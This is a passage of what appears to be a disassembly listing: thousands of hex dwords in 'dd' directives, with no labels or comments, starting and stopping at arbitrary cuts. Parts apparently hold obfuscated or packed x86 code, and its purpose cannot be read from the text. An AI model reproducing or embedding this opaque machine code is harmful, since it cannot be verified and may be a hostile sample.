0E77EC808h dd 4A31C1A4h, 0F5D75ED6h, 7A7EC807h, 0AC885437h, 7CBAD34h dd 0D507EC8h, 854AC52Ah, 0CE0C696Fh, 783C1FFDh, 59E1BF9Ch dd 3F287994h, 0A578AD1h, 0C88C6FCDh, 67351348h, 4D2B0ABh dd 9E6C4A11h, 40FEE477h, 99C207D0h, 9FFA3AA3h, 2306CDF0h dd 0AB6725ADh, 93C68DB0h, 3201C47h, 0BB7F6227h, 551A005Bh dd 74A2B15Eh, 505DB4E7h, 0F9C73D20h, 9563411Ah, 7B01DF7Ch dd 3, 4152018h, 0E1254813h, 0C4082B30h, 0A5E90C4Fh, 83C7EA71h dd 62A6C992h, 4185A8B3h, 23678AD1h, 74B6EEDh, 2A2B4E0Dh dd 81E18951h, 4C1h, 4E98300h, 8B240C87h, 0EB682424h, 8900002Dh dd 89572434h, 4C781E7h, 81000000h, 4EFh, 243C8700h, 242C895Ch dd 4E0F6857h, 815F14ECh, 0DDF0AEEFh, 5F5E570Eh, 242C8B54h dd 5104C483h, 4D89F189h, 240C8B08h, 4C481h, 2C8B0000h dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 5624348Bh dd 0C681E689h, 4, 4C681h, 34870000h, 5BE95C24h, 83FFF918h dd 0D59DB01h, 522869C6h, 8AB88DFBh, 3060E62h, 0FED38BC5h dd 77B1BCAh, 43F398A8h, 778668Ah, 0EAD5ABA8h, 7783E75h dd 43F086A8h, 0AE5DBA8Ah, 43F17357h, 7792E8Ah, 0EAD5ABA8h dd 779F175h, 43F1A1A8h, 77E738Ah, 43F623A8h, 77EF58Ah dd 0EAD5ABA8h, 0D42F2575h, 132430F8h, 3285C003h, 90A752A6h dd 57AC2134h, 7601D121h, 0D42F4384h, 132431BDh, 328DC003h dd 90A752A6h, 57AC20E7h, 761DD121h, 0D42F4384h, 1324316Ch dd 3299C003h, 90A752A6h, 57AC2393h, 7669D121h, 0D42F4384h dd 132432F5h, 32E5C003h, 90A752A6h, 57AC232Ch, 7665D121h dd 0D42F4384h, 1324324Fh, 32F1C003h, 90A752A6h, 57AC22A2h dd 767DD121h, 0D42F4384h, 132433C1h, 32F9C003h, 90A752A6h dd 57AC2228h, 7675D121h, 0B8C34384h, 152A5012h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 1FC0D5F2h, 96A44BEEh, 152AA8EDh dd 2429458Ah, 96E367A0h, 0D5ADBAB4h, 152A54A1h, 5564C6CBh dd 0EAD5BA41h, 0AE63CE75h, 1231C93Ah, 5342848Ch, 0EA2211ABh dd 245D55FFh, 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h dd 51A24162h, 0BFEA6603h, 0DB2FEE27h, 13241830h, 1129475h dd 8DA0D902h, 0AEA44BC6h, 51A1EC79h, 0DC0941AEh, 1B66CC22h dd 3773BA8Ch, 732ADF10h, 0C928C821h, 0EA2C5AE4h, 152BFD5Bh dd 9881508Ch, 5FEEDD00h, 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah dd 0DFC0D5F2h, 0DAA44BEEh, 68A15CDDh, 0ADE78286h, 152A54A8h dd 1030BACCh, 9E2C53BDh, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h dd 8DA0D9F9h, 0AEA44BC6h, 949A0D79h, 551A2320h, 8481328Ch dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h dd 15C23454h, 0BA2458Ah, 700BBE29h, 24294384h, 1957DFA0h dd 515E004Dh, 532A54A8h, 44E3D775h, 0CDA152AFh, 0FC69CE19h dd 0A5B9979Bh, 0FA31EFE2h, 8DA0D9F9h, 0AEA44BC6h, 949A0D79h dd 651A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh dd 0FDA2458Ah, 1DC9953Bh, 919197B9h, 38F2DE04h, 51A2454Ah dd 1AD5A828h, 51A25E0Eh, 1523EDA8h, 0A055458Ah, 9025862Dh dd 51A24586h, 7332A328h, 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h dd 9E4BA8D5h, 936BB9CFh, 9E7F54A0h, 0AD66C666h, 1D5FDFC8h dd 96AE3801h, 152AA8EDh, 0C20E458Ah, 2622B769h, 0FD627658h dd 0D5078C22h, 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h dd 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh dd 19577F03h, 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h dd 24292576h, 1957DFA0h, 515E004Dh, 0B92A54A8h, 0B2229D00h dd 85E1D4A7h, 0DC088600h, 1B66CC22h, 0E173BA8Ch, 9FA7FEF8h dd 57AC0912h, 0D6A08557h, 5DDF6E20h, 74D62921h, 985E0001h dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh dd 0E9A2458Ah, 152A54AFh, 4A3FD775h, 452652AFh, 0C928C820h dd 0EA2C5AE4h, 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh dd 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh dd 9E4AA86Ch, 2C294DFFh, 0E96F93A4h, 51A2458Ah, 87D5FE04h dd 57A550CBh, 17868C23h, 0DB2FEF49h, 13241830h, 0E9C49475h dd 0BE4CBD28h, 7A088600h, 68A358D5h, 14292476h, 1DE89D54h dd 0BD29108Ah, 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h dd 0EA80F8A8h, 56B70418h, 0B9E2DFAEh, 0DC088558h, 1B66CC32h dd 3771BA8Ch, 73E39410h, 0FB63CF21h, 9C262983h, 0DAC3B9F7h dd 0D7E3A8EDh, 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h dd 51A2B9CFh, 0BF8654A8h, 44E3D775h, 0DDA152AFh, 0FB637726h dd 59B2CE25h, 825D4384h, 0E4AAECCEh, 9028EEECh, 19577F02h dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h dd 1957DFA0h, 515E004Dh, 732A54A8h, 376B7732h, 8DB0D903h dd 0AEA44BC6h, 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h dd 0E96FDFC9h, 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh dd 0ADE78286h, 152A54A8h, 0B824FDECh, 8FA7FFCEh, 57AC0912h dd 0A09A8757h, 0FB0E0320h, 59B2CE25h, 825D4384h, 0D8ACECCEh dd 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 0E7C0D5F2h, 96A44BEDh, 152AA8EDh dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah dd 60D554A8h, 59D7BA86h, 760DCE25h, 0DCF14384h, 1B49AA32h dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 6638C882h dd 462C5ACBh, 325CDF07h, 0C6D552A6h, 0B85E0003h, 152A5492h dd 0AEAE3075h, 8FA75CDDh, 57AC26C9h, 0EBB0D9FBh, 0AEA44BE9h dd 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h, 1B491B32h dd 0CB2F168Ch, 13243756h, 142B9675h, 152ABD54h, 0DAC3458Ah dd 0D7E3A8EDh, 44BA4582h, 0E9000030h, 15h, 269FCB4Dh, 4 dup(0) dd 0E19E900h, 32680000h, 0E9060E6Bh, 0FFF91286h, 0E6C2E68h dd 127CE906h, 0FF68FFF9h, 0E9060E6Ch, 0FFF91272h, 0E6DBA68h dd 1268E906h, 2D68FFF9h, 0E9060E71h, 0FFF9125Eh, 0E745A68h dd 1254E906h, 5768FFF9h, 0E9060E75h, 0FFF9124Ah, 8C6AF126h dd 270556BEh, 0C6A4B759h, 63411AF8h, 0FDDB8095h, 48CD0A62h dd 0AF673513h, 1300CEACh, 759C6A48h, 523608E6h, 0D5D3E9CBh dd 0F5946E84h, 0D4878C4Ah, 4307EAB1h, 0DEA389D2h, 0F6CF437Eh dd 4ED5BBEBh, 7EC7B36Ch, 10CBAEF1h, 361447CCh, 3823F0AEh dd 964CD555h, 0B54E29B0h, 90D378C0h, 33BA32AAh, 78C0AD51h dd 0BC9E93D6h, 4178C0ADh, 53601BFEh, 78C0AD7Dh, 70F76F0Bh dd 78C0AD8Eh, 5DEDD013h, 73A4E166h, 4CE7E48Fh, 0E000000h dd 2309D148h, 0BF89419Ch, 0D07C578h, 38642B4Eh, 1F9C7FDCh dd 82A5B65Fh, 0EBE90CBBh, 9AE7BB26h, 89B58450h, 0E5ACCF8Ch dd 889F7502h, 912D78BFh, 0A5B65B19h, 0E4C6BB82h, 6978BF87h dd 0CCB34326h, 90944E37h, 73DE4h, 4C640000h, 937h, 0D10D04E9h dd 7658DF45h, 0FB7EC76Bh, 375A09B8h, 5F3D1EF3h, 0B0964CD5h dd 0BF9C7A38h, 65F2D59Ch, 78C07B92h, 0A4B1D417h, 78C05ACEh dd 32C9AE5Ch, 0E48FC553h, 4D33DFBh, 50CE3D33h, 43661553h dd 4658997Ch, 66000000h, 0DF06BA8h, 0D2D148A8h, 0C76B694Bh dd 0FCABEE7Eh, 9BB88F16h, 0F23578BFh, 3AECC2CFh, 0CC7A78C0h dd 0E13550F7h, 5419E48Fh, 42605081h, 0FF402327h, 0FCh dd 472480Dh, 9443DFAFh, 8037A361h, 0BC9F4A46h, 4E0D0457h dd 2D2EE72Bh, 104BC60Ah, 0B277EFEDh, 0EDC5392Ch, 0BB9D92CEh dd 407EC7CAh, 0BB561AFDh, 172E4A1Ch, 0BBC787E6h, 0F3ADE0BDh dd 3F1CF784h, 7AA6551Ch, 0DBA2C596h, 0C1B74E2Ch, 7D7EC791h dd 8A9C7E05h, 84D37EC7h, 461E5D35h, 14478A6Fh, 74D92C18h dd 0AA6E5101h, 4816F467h, 0F2D45BC9h, 307EC809h, 8B5275E6h dd 0F67D63A6h, 7EC80A14h, 84A75699h, 5F459D84h, 0C10FE5D8h dd 8167AA78h, 280B50C3h, 0E93128B2h, 0AB3F7C03h, 397C72B6h dd 0DB809553h, 75E62FFDh, 0AA82DF3Eh, 5016217h, 0AFFh dd 9C7AE136h, 371546CEh, 0D6B4A769h, 73510A08h, 0DEB70A5h dd 38DDFA72h, 9F774523h, 310DEBCh, 65AC7A58h, 624618F6h dd 0D5D5F9DBh, 5A47E84h, 6C4A1104h, 2E8739Eh, 6B21038Ah dd 0B45F7EC7h, 0D8BD84A7h, 0CD3CB295h, 2309D148h, 87AAB165h dd 0D85FDDC0h, 78BF9B01h, 9B7D047Eh, 2078C03Bh, 0FE0B2EDDh dd 78C03B28h, 0BA5C1AB6h, 492EBEA1h, 8FE1D3B2h, 55BD7BE4h dd 769FE306h, 125336E5h, 0B1h, 179F5B20h, 0FC4C2EB5h, 8ED178BFh dd 47EA75Bh, 0D04BC21h, 2EE72B4Eh, 6B8D6FF6h, 0CF127EC7h dd 0C8EB70A3h, 312F5201h, 95B8A373h, 685EEBCEh, 0DE7EC76Eh dd 0F16AAB33h, 789E5C42h, 8BAEAD66h, 2BF215C4h, 0D04D248h dd 362B2B4Eh, 90830AF0h, 5578C06Ch, 0B7AA3412h, 0CE02896Fh dd 1372B602h, 0E92CEAD0h, 8F3E1DF5h, 2932E3B1h, 0AB22F5F2h dd 0AFAB0C17h, 0A03h, 9876E532h, 33114ACAh, 0D2B0AB65h dd 6F4D0E04h, 9E774A1h, 3CD9FE6Eh, 0A373411Fh, 70CDAB8h dd 69A87654h, 5E4214F2h, 0D5D6F5D7h, 1A07A84h, 6C4A1104h dd 0AE8739Eh, 4E0D049Bh, 0B42AE72Bh, 0CA91825Ch, 0C1866C1Bh dd 0BD27DECAh, 0C93F2215h, 51C821EAh, 6D2BA389h, 0CC93B6A5h dd 25795CE9h, 0BBFE78C0h, 0D85F10D5h, 0AAB84F12h, 0D7CC3FC7h dd 910EFB92h, 0A76C5288h, 25053224h, 0E9674AF7h, 0F4105762h dd 0F6195CC8h, 0D5BB63F6h, 0EA2E994Eh, 0FB16D6C2h, 0C7763D60h dd 65AB69E1h, 0C24F13F6h, 0BB33BB99h, 0EA365234h, 6D4FD6C2h dd 0F2C2EA36h, 4E03CAAFh, 0FDA3276Bh, 0B2765908h, 3B18785Fh dd 68B77FE9h, 586F82B9h, 3192C778h, 93235h, 47140300h dd 0E2799B69h, 81DA3604h, 1E3DD5A3h, 0B8A37240h, 0AA2D3FDAh dd 4412F06Bh, 0DDAB89D2h, 79472536h, 13E5C398h, 0D6C6A82Fh dd 714B84D5h, 28854AD2h, 0DCA1C930h, 0B25F2306h, 0E05C3A9h dd 80632A4Dh, 865CC5C5h, 0DB9619A0h, 9C5A78C0h, 0FDC4E774h dd 745A9D1Ah, 0DCFF5CB6h, 0B54AFC91h, 39E85987h, 0F91AD856h dd 37FC8462h, 442245C1h, 0FABEA143h, 121F4219h, 78C14F30h dd 0D3B53CB4h, 5878C14Eh, 2EDD7E98h, 5EE8BE4Bh, 0FF6278C1h dd 41F06BAAh, 52F5D45Bh, 2F7272BAh, 9549C80Ch, 0BCBADD7Eh dd 0BA2B5335h, 0E695D872h, 540358BAh, 0A7AADE1Dh, 0C6C22317h dd 877h, 240259BEh, 0BF9DBE56h, 5E3C1FF1h, 0FBD98290h dd 9573E82Dh, 0B06572FAh, 17FFCDABh, 7B986644h, 0DD3402E0h dd 0EACEA07Eh, 0D5D88163h, 8D2C0684h, 2309D148h, 6B4224ABh dd 91807EC7h, 0FBE0A7CAh, 0D057D5B8h, 78C07EF1h, 7B63AE6Eh dd 0E511C09Bh, 9B81302Bh, 32635DDh, 5A9E593Ch, 0F5C3A1BAh dd 19193C1Fh, 2EB06306h, 1AC978E3h, 5513AD34h, 0D51878C0h dd 8C4AA6B2h, 0ECB3D685h, 0D8027909h, 0AA411F3Ch, 78C055D4h dd 2F15CD4Eh, 0C055EAA8h, 0AC682678h, 0C9488CAFh, 8300E392h dd 80946240h, 0DDABB8DBh, 4B78C053h, 0D83CE6DDh, 3DD7A583h dd 39C0381Eh, 78C05457h, 0FBB699DCh, 0C05288EEh, 15DA3678h dd 1594A9D7h, 213ADBB7h, 0B8FF8F72h, 0C7A5B65Eh, 6078223Dh dd 0CC0601F6h, 43CAB05Fh, 78BFCF6Ch, 75E62AE8h, 2BA88B52h dd 39B8C5E8h, 0AFE45E31h, 91D5F863h, 0EFB6D982h, 0E70A51C3h dd 49166DDBh, 0FB1BD975h, 6AC0A229h, 245045Eh, 9BE07053h dd 0F1B62164h, 1A26A58h, 4A910000h, 38495B85h, 8EB799Ah dd 63499188h, 0C061D1DCh, 0FB17D578h, 0BD007D60h, 60FB19D7h dd 0D041FF7Dh, 32DFAD8Bh, 81F90629h, 0DCF179CDh, 35426126h dd 0D88365ECh, 0C508F17Ah, 1DF8D892h, 4FD5AA3Ah, 0E36E50D7h dd 0B0F3F17Ah, 0D60809CDh, 34FB1E3Dh, 0A3520908h, 917F3DC5h dd 0EE23E7CAh, 0D14A4A6Dh, 0B55D2B09h, 0D23F83A6h, 0E2E9CB52h dd 2B6EF17Ah, 38D8967Ch, 0FCCA4023h, 25234615h, 0BD3B6460h dd 34DE700Ah, 8957827h, 5EEFED20h, 12CCB37Bh, 0B07E5CFFh dd 0D7D7FA61h, 22EF1A44h, 26E5C7B6h, 0AAD6AAF7h, 0B1600F45h dd 496244CBh, 20E77EF1h, 85DFAA02h, 5D3BEA77h, 0B2D5868Fh dd 8B71A9B2h, 0F0992604h, 8260A37Eh, 0DBFE5DB4h, 0BADD7E97h dd 9BBE9D76h, 0F023BB57h, 0D281486Bh, 4E35A3AFh, 0C8AF1D11h dd 61D4030Eh, 9DD4C04Eh, 562402B1h, 7D7DA0BBh, 0CF563CE2h dd 7EF08725h, 0C149276Ah, 15481303h, 0EE112050h, 0A0644778h dd 0C9C7EA71h, 7255060Bh, 0D3F665AEh, 0B1D4878Fh, 91B4A76Dh dd 4E95C64Dh, 80623186h, 8DCE4200h, 30C0A36Ah, 810D54Bh dd 0CDAF360Eh, 527EF10Ch, 10C6DC0Fh, 1100C4A7h, 6FA6644Ah dd 0C59309ECh, 6B290F4Ch, 9593B6A5h, 0F0FC2C0Eh, 0BF6EB17Eh dd 0FC7052D9h, 0B2F57EF0h, 581614CFh, 3ABA9DBEh, 8C13F921h dd 7EF0FCE6h, 35FAE023h, 2B62FA81h, 35AB8E7Bh, 8CAFAC67h dd 654B938Ch, 0CEE75EDh, 917EF115h, 6DEE224Eh, 13A0834Ah dd 7EF11561h, 168563A6h, 704E0D04h, 0E72E73E6h, 193C1FF7h dd 0B980A352h, 6B6A4CD3h, 0ACEF7EC7h, 0B75917FDh, 6B04E66Dh dd 46897EC7h, 0AF36B497h, 78C07F60h, 259F64DCh, 0C4E506F0h dd 0C8311308h, 0EFB678BFh, 103FD1AEh, 0E3C675F2h, 0EC6FA666h dd 6D5302C9h, 14F67DF5h, 9978BFFDh, 0FD7F6156h, 0C10478BFh dd 2AE860DEh, 0C88C6FECh, 6432104Bh, 8B89ACAFh, 0FDAA8C13h dd 0EC2F78BFh, 13908909h, 0BFFDAA8Ch, 0A46F2F78h, 1ECD94B7h dd 193C1FF2h, 36BDA352h, 72B908B3h, 5123578h, 72B9022Fh dd 846AB0A9h, 0B1F61EFDh, 35589B6Ch, 43B20F1h, 1DB00641h dd 4A39F00h, 31000005h, 0C99775E6h, 6432104Bh, 3D1AFACh dd 0A06E4C0Fh, 6D08E675h, 1E3DD8FFh, 0B7A47240h, 53080BD9h dd 0F16AA775h, 0D65D4113h, 84D5DBF4h, 48009F79h, 9C2309D1h dd 78BF8971h, 0D3B53CB6h, 1178C049h, 6C335605h, 0D75E4487h dd 78C049F5h, 6588377Ah, 0D8B6A267h, 2169CC8Fh, 71DAB13Eh dd 0BA6878BFh, 60E75FC5h, 78BF727Eh, 3EDDC003h, 0E490AE47h dd 11144h, 0D24A6B00h, 0C76B694Bh, 0EC6FA77Eh, 54E1C407h dd 7EC769CEh, 1CA31B01h, 7EC76B3Ah, 59997CBFh, 0ED6EA765h dd 90CB460Ah, 0EC3028B2h, 9E168E06h, 0C76B3517h, 8277BA7Eh dd 7EC76BA0h, 72FFE225h, 7EC76BC8h, 94C74E0Ch, 0CEF134B1h dd 0EED4878Ah, 2CBDB729h, 0A68988E4h, 6AB2A630h, 26470C84h dd 0E4C7C750h, 0E80CEE75h, 4E917EC7h, 852FBC9Fh, 0CA7EC7E8h dd 33E3A187h, 4516FC28h, 0AE63A762h, 8247CFADh, 2F1D4C44h dd 0C74D80FCh, 9B85246Dh, 9D8505E8h, 62E96147h, 7EC78780h dd 0AB004AB7h, 3A1FC44Ah, 475739C0h, 99DC7EC8h, 28907EAh dd 7EC8474Ch, 218DC388h, 85B8A36Dh, 0CAADBE48h, 0E9E70A4Dh dd 4A76E52Bh, 0AB7295C6h, 8E653BC8h, 65D37EC7h, 0C64C0A1Eh dd 3A5DFE18h, 61E1C473h, 8365ECF9h, 0C17EC80Eh, 0E2250A51h dd 4ED54D33h, 7EC80E6Ch, 8E82AEF1h, 0E3AACDh, 0E45FB82h dd 0BB827EC8h, 141CB4CBh, 0ECCA79A2h, 8666h, 0D1480300h dd 0BD9C2309h, 3A78C07Fh, 8690D4F7h, 0F06DF7D5h, 9086442Ah dd 0E36AE8CBh, 78C05705h, 0F1C3F82h, 78C0573Ah, 0BFA51AC8h dd 0C8C939FAh, 5D405965h, 8FECC7BEh, 49C4E4h, 48EB0000h dd 0A0270DD5h, 7EC76BBEh, 99DD0043h, 7800DE7Dh, 1E015ABAh dd 7230BF9Eh, 0E6C8BD9Eh, 6B7EC76Ah, 0C937928h, 7EC769A6h dd 0F0FD2063h, 7EC6AB1Ah, 0BDA51A88h, 0D947AA0h, 7EC729A7h dd 0EA71A563h, 0A01D00C7h, 4107F5Dh, 0A3684E0Dh, 4B814AA0h dd 0EC9AC52h, 361447CAh, 876DB5ACh, 0C16E2D00h, 1EF3B178h dd 4E9D7F06h, 0DF2278C1h, 13460D30h, 2103C57h, 3806362h dd 0F51CDAC0h, 0BBC88366h, 78C0E8E5h, 49FEC573h, 0E48F373Ch dd 9EF44D12h, 0FD63FC35h, 0BEA30FC6h, 406C1B21h, 63A487D4h dd 3Ah, 9D1488Ah, 88535E23h, 0E21F87B2h, 23FA81FFh, 0A078C04Dh dd 72A31E0h, 0EDAB9140h, 9A553823h, 0C0EDB78Dh, 20974578h dd 8F2F6A1Bh, 0E121E4h, 712F0000h, 0CF96B9A2h, 0D0487ECh dd 5DE184CAh, 10BFA1EEh, 0EF6CA9EDh, 0D28988CCh, 38A66BAFh dd 965D80DBh, 5B4A76Ah, 6D9A9027h, 1107EC8h, 37FC745Ah dd 541408D3h, 0C2A49917h, 477EC7F4h, 0DDAB2104h, 4042734h dd 58DFC51Dh, 78C01CDDh, 0F7815FA2h, 4FD6BC62h, 72B679A3h dd 311921E8h, 39DEC047h, 206372B7h, 8ACC65EDh, 86A9B25Eh dd 6C2A10BFh, 670D2EA9h, 67629ADCh, 5083CA1Eh, 3EED5888h dd 0D8839260h, 0AA71AEA1h, 36329317h, 1D7h, 0C4A2B95Eh dd 5F3D1EF6h, 0FEDC7F91h, 9B79E230h, 351348CDh, 1005D29Ah dd 779F6D4Bh, 0DB3806E4h, 3DD4A280h, 8A6E401Eh, 0D5DF2103h dd 2DCCA684h, 0D4878C4Ah, 54BEEAB1h, 3A1DE407h, 0DEBC9F76h dd 66789856h, 0C188ABB0h, 0A66B2F12h, 4868D7B5h, 0AB2309D1h dd 6ACAAC33h, 0C4F7EC7h, 9BC59C29h, 0FF4278BFh, 3AF9CFDCh dd 0EB8778C0h, 3B0AEC73h, 4C8F78C0h, 5DE2D969h, 0E48FE128h dd 4527AE26h, 0CA78C02Fh, 0A3B85B87h, 0A87FC0h, 4A60000h dd 0E72B4E0Dh, 8D6FF62Eh, 0CB7EC76Bh, 0ED301546h, 7B9A583Eh dd 3542FDE0h, 7EC76E3Fh, 0D04236FBh, 1534B0A3h, 0B8A36E32h dd 1F050CDAh, 0C737B698h, 0CCF83B7Eh, 41641348h, 9185D841h dd 0AE351BCAh, 78BF5F33h, 83D839F7h, 39B69960h, 8B8E18F6h dd 0E1E66D53h, 0DE72B5B5h, 1EF7B59Bh, 84915F3Dh, 6EB9A0D7h dd 278817ABh, 0DA2Bh, 9FBC5B00h, 3A21F3C1h, 0D9828E5Ch dd 76E52DFBh, 104BCA98h, 2D59732h, 9C6A4813h, 3503E17Ah dd 0D19F7DDEh, 6B3D1B40h, 0E01E0087h, 0C9A384D5h, 4A11042Ah dd 0E8739E6Ch, 0D049B0Ah, 2AE72B4Eh, 53CB5331h, 6B7254DBh dd 0B4F77EC7h, 0C76ADDBFh, 64F71B7Eh, 4103C7Fh, 6DF47457h dd 3048CFB5h, 2D78B8D2h, 4C9C7EAh, 4D8F12F2h, 0FBBFA28Ah dd 9A5F4516h, 0CBCF70F6h, 18FC1C83h, 72701E51h, 0AE7CF2D5h dd 0C8D5F863h, 9826B427h, 61BD02CAh, 0FFCDABB0h, 0E2264912h dd 0FC082B30h, 24ED298Eh, 3D977900h, 5C1C5827h, 0B980A3B8h dd 8748D70Ah, 6B78FAA9h, 110DEBCh, 0C139375Ah, 26C3583Ah dd 0B79ADD58h, 123Bh, 8C4AD800h, 47EFD289h, 4224AB23h dd 0C77EC76Bh, 43CA184h, 0E1254813h, 0C4082B30h, 0A5E90C4Fh dd 83C7EA71h, 62A6C992h, 4185A8B3h, 23678AD1h, 74B6EEDh dd 2A2B4E0Dh, 5E08950h, 4, 4BA52h, 0D0290000h, 2404875Ah dd 4719685Ch, 34890000h, 0E7895724h, 4C781h, 0EF830000h dd 243C8704h, 242C895Ch, 10D56851h, 81593239h, 600FF3E9h dd 81D9F723h, 0E76A04C1h, 595E5114h, 1F68h, 24248900h dd 4240483h, 481565Dh, 5309524h, 8458F40h, 7DF2BB53h, 0EB813EC1h dd 28466DC6h, 0C48C381h, 0E381222Bh, 605F17EEh, 8102EBC1h dd 3AB7CC3h, 85D2938h, 2434FF5Bh, 4C4815Dh, 0FF000000h dd 815E2434h, 4C4h, 478E900h, 0B82EFFF9h, 60E7656h, 0E0FFC503h dd 43C07E96h, 5806D8E3h, 34D3A38h, 0DEAC322h, 9E8h, 0F4F37000h dd 2B62C9EDh, 13E9C1ACh, 20000000h, 5C529BCCh, 0BD760859h dd 1C861ED1h, 2625A6A5h, 605B1BF7h, 61D78B66h, 0DBB3C381h dd 25BF0000h, 3330D077h, 0CA8166C9h, 348BA101h, 81BEB00Bh dd 8BFDBEF6h, 18B0F6Ch, 0F8000000h, 3487C681h, 5E92067h dd 1A000000h, 0E360EA78h, 0A2CCC681h, 81666154h, 895AA8CAh dd 0BF660B34h, 800F1B2Dh, 1Ah, 12E960h, 5150000h, 0B1535D87h dd 0B8EB4987h, 7F77414Ch, 2C482E60h, 0E98161F8h, 4259E79Fh dd 6E9h, 5803BF00h, 81DAD3D1h, 59E79BC1h, 5880F42h, 66000000h dd 881EF081h, 2520F981h, 850FFFFFh, 0FFFFFF7Eh, 168C0Fh dd 870F0000h, 10h, 0BE9h, 5ACEF00h, 0B9769CC8h, 0ADA4327Fh dd 8E8h, 0FDF98D00h, 0BFEE7B63h, 0A1DC8036h, 11E95Bh, 0D1710000h dd 0CB16CBCAh, 0A6F98412h, 0DB640941h, 81F04AD2h, 6341C3h dd 0DE900h, 29DC0000h, 131B317Eh, 3D71501Eh, 0B985FC60h dd 189Dh, 6E8h, 907A5700h, 0E927E025h, 5, 0E7074D71h, 33FF5EE8h dd 665AC38Bh, 0F281FA8Bh, 5A3DE4DDh, 7B7EA81h, 0B0576199h dd 0F2815F07h, 4D11ED13h, 5EF85652h, 0BF66038Fh, 0EB83ADEDh dd 0CC806003h, 0B70F5152h, 4B6158D2h, 2F850F49h, 0E9000000h dd 12h, 1AC69C38h, 5FC61BBEh, 0EA62EE74h, 0DA6C6722h, 23E99282h dd 9C000000h, 765CA1FCh, 293AE779h, 44755BCh, 44DDE7E2h dd 8FE972DBh, 6EFFFFFFh, 0FC1E07BEh, 8FDCF62Bh, 10E8DE79h dd 5B000000h, 2F49B3BAh, 160F0AA3h, 401AE8A7h, 0F830B784h dd 1286BA5Fh, 0C7811261h, 5B27h, 70D08166h, 0E9F62B95h dd 14h, 91BF3F0Bh, 0CFDF6987h, 40912E5Bh, 553A4B95h, 0F1CA37D5h dd 0B7370C8Bh, 7EE981A2h, 0F7680A9h, 1284h, 0C8A0F00h dd 0E9000000h, 7, 6A1B2296h, 81A663D2h, 0DA1FECE9h, 81DE8B1Ch dd 9C700DF1h, 62D8813Ah, 8931F5E4h, 0C081370Ch, 534520A7h dd 8393F380h, 8B6603EEh, 0DE94EC6h, 0DF000000h, 34C9F734h dd 0B38C3109h, 6C5E9E7Bh, 0A57CFE81h, 850FFFFFh, 0FFFFFF98h dd 8D8DD4B3h, 60E7A3Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 20C35545h, 0E68748BFh, 0D7450D1Eh, 0FFD6813Ch dd 89505C71h, 70A218Dh, 798D8906h, 8B060706h, 0E585C7F7h dd 0EC06072Ch, 6A00006Ch, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 5B6AC356h, 9907CFBBh dd 81C3386Ah, 90257DBh, 0CE925h, 758D0000h, 0C117367Ah dd 42DC7B59h, 85C7728Dh, 6072D05h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 1C35747h dd 151F153Fh, 80CF7E7Fh, 0F19D894Ah, 0FF060707h, 70B75B5h dd 15B50906h, 0FF060708h, 700BD95h, 0FF006A06h, 716B595h dd 0EBC08B06h, 6613437Dh, 7680CB6Ch, 4C14EB85h, 7B38B29Dh dd 7277DEADh, 31823333h, 0C197EF77h, 8797B5D9h, 1FDBCF5Fh dd 2C875E5Bh, 1E74CF12h, 186DF473h, 6D252770h, 0ED84467Fh dd 5DA15F59h, 0E7D4E15Dh, 6B56EAFh, 81C5458Bh, 2AE4D8D7h dd 0EF1E78EEh, 9BBBC734h, 41669E13h, 0B4C6AEC9h, 0FF93BCBFh dd 849B6E3Dh, 12DBA4A0h, 9D05EBB4h, 4F3929B1h, 0A75DF367h dd 7F470679h, 9E744FB0h, 0ECE9A801h, 0 dd 37000000h, 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h dd 77F7E3h, 277E600h, 5 dup(0) dd 0FD000000h, 77E7A5h, 2Bh dup(0) dd 2000000h, 14000000h, 0A31611EDh, 113211A2h, 8837FC66h dd 785F1566h, 0A102ED28h, 163DE0DBh, 81471560h, 7433A8E5h dd 56321361h, 9A61457Fh, 8C23ADA6h, 0C1BB1566h, 24351CB3h dd 0BD9588EBh, 5BCD136Fh, 0F9B14D3Dh, 24352567h, 41256166h dd 8C23AD35h, 0C1BB1566h, 24351CB3h, 0B8A488EBh, 5BCD136Fh dd 22524D3Dh, 9BCCADDCh, 2CED038Dh, 8834FC07h, 0AF6B1566h dd 4EDD53CEh, 35369E36h, 8836D1E7h, 4CDB1566h, 6A321566h dd 